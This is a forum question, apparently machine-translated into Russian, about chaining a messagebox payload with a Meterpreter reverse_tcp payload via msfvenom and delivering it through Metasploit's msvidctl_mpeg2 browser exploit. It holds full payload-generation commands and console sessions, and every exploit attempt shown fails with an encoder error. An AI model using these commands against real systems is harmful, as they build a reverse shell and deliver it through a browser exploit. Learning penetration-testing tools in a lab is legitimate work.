Я играл с более новой MSF4 (Framework: 4.1.0-release.13988, Console: 4.1.0-release.13581), поддерживающей многопользовательскую загрузку с использованием msfvenom и пользовательской / универсальной полезной нагрузки, но, похоже, есть поле информации о том, что полезная нагрузка поддерживает с точки зрения кодирования и совместимости.
По сути, я смотрю, как можно отключить службу на стороне сервера, а затем послушать счетчика-метра на его больше не связанном порту. (эксплойт может войти в другой порт)
По сути, я создал многоплатную загрузку, используя msfvenom вместе с msgbox и Meterpreter, как exe, raw и .rb. Я попытался оставить настройку кодирования в одиночку и установить для нее значение Нет. (обратите внимание, что пользовательский / универсальный источник полезных данных .rb что-то говорит только о разрешении кодирования None)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw
Я также пробовал с EXITFUNC, установленным в "none":
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw
Затем мне нужно записать необработанную многопользовательскую нагрузку во что-нибудь, что может использовать универсальная / настраиваемая полезная нагрузка: (обратите внимание, я пытался записывать в необработанные, exe, .rb форматы)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw
Наконец-то пришло время попробовать многопользовательскую загрузку с помощью generic / custom: (обратите внимание, что я перезагружал эксплойт каждый раз, прежде чем пытаться установить и использовать)
msf > use exploit/windows/browser/msvidctl_mpeg2
msf exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
Итак, я нашел объяснение того, что должна означать ошибка «Нет кодировщиков ...». (http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions) Я полагаю, что сюда входят полезные данные смещения.
Является ли причиной ошибки полезная нагрузка windows / msgbox, потому что она не подготовлена? Или мультипроцессы не организованы? Если это позже, тогда я не вижу, как многоплатные загрузки будут работать, если они не были организованы. Объединение двух полезных нагрузок, вероятно, будет больше, чем одна полезная нагрузка.
Может кто-нибудь объяснить, по крайней мере, кодировки и форматы, которые должны быть совместимы с полезной нагрузкой общего / полезного груза, чтобы я мог исключить это? Я нашел только несколько ссылок на поддержку многопользовательской загрузки.
Заранее спасибо! Я обещаю ответить, как я получил это, как только я это сделаю.